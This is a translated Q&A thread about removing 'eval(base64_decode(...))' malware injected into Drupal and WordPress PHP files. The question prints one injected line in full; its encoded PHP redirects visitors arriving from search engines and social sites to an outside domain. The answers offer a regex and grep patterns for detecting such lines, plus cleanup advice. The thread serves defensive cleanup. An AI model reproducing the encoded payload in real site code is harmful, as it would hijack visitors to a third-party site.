用于查找以 eval(base64_decode) 开头的恶意代码的模式

Question

当我的所有 Drupal 和 Wordpress 站点中插入以下 PHP 时，我的服务器出现了问题。

我已经下载了站点的完整备份，并将在更改我的 ftp 详细信息并再次重新上传之前清理它们。希望这能澄清事情。

我的问题是：

使用 Notepad++ 是否有一个 *.* 样式的搜索条件，我可以使用它来扫描我的备份文件并删除恶意代码行，而无需在本地单独执行这些操作机器？

这显然会节省我大量的时间。到目前为止，我一直用空白替换以下代码，但评估代码在我的每个站点上都不同。

eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmIChzdHJpc3RyKCRyZWZlcmVyLCJ5YWhvbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpbmciKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJyYW1ibGVyIikgb3Igc3RyaXN0cigkcmVmZXJlciwiZ29nbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImxpdmUuY29tIilvciBzdHJpc3RyKCRyZWZlcmVyLCJhcG9ydCIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIm5pZ21hIikgb3Igc3RyaXN0cigkcmVmZXJlciwid2ViYWx0YSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJlZ3VuLnJ1Iikgb3Igc3RyaXN0cigkcmVmZXJlciwic3R1bWJsZXVwb24uY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYml0Lmx5Iikgb3Igc3RyaXN0cigkcmVmZXJlciwidGlueXVybC5jb20iKSBvciBwcmVnX21hdGNoKCIveWFuZGV4XC5ydVwveWFuZHNlYXJjaFw/KC4qPylcJmxyXD0vIiwkcmVmZXJlcikgb3IgcHJlZ19tYXRjaCAoIi9nb29nbGVcLiguKj8pXC91cmwvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vY29zdGFicmF2YS5iZWUucGwvIik7DQpleGl0KCk7DQp9DQp9DQp9DQp9"));

Answer 1

我会立即更改您的 FTP 详细信息。如果他们能够算出密码，您就不希望他们托管软件或其他东西。

然后关闭您的网站，以便您的访问者不会受到任何脚本或劫持。

就搜索而言，像这样的正则表达式应该可以解决问题：

eval\(base64_decode\("[\d\w]+"\)\);

Answer 2

我的 WordPress 博客也遇到了同样的问题，eval base64_decode hack 。 php 文件被注入了这些 eval 行。我建议您重新安装 wordpress/drupal，因为您的站点中可能已经存在一些其他脚本，然后更改所有密码。

尝试通过 ssh 运行 grep，例如。 grep -r -H“eval base64_decode”。它会显示哪些文件被感染。然后，如果您有时间，请自动化该过程，以便在再次发生这种情况时您会收到通知。

并且在将来，请始终更新 WordPress/Drupal。

Answer 3

如果您可以使用特殊的工具来删除此恶意代码，那就更容易了，因为找到与所有代码匹配的实际正则表达式可能很棘手，而且您永远不知道它是否有效，或者您破坏了您的网站。特别是当你有多个文件时，你应该通过以下命令来识别可疑文件：

grep -R eval.*base64_decode  .
grep -R return.*base64_decode  .

但这可能还不够，所以你应该考虑使用这些PHP 安全扫描器。

有关更多详细信息，请查看：如何像 PHP 病毒文件一样摆脱 eval-base64_decode？。

对于 Drupal，另请检查：如何在被黑客攻击后从管理页面中删除恶意脚本？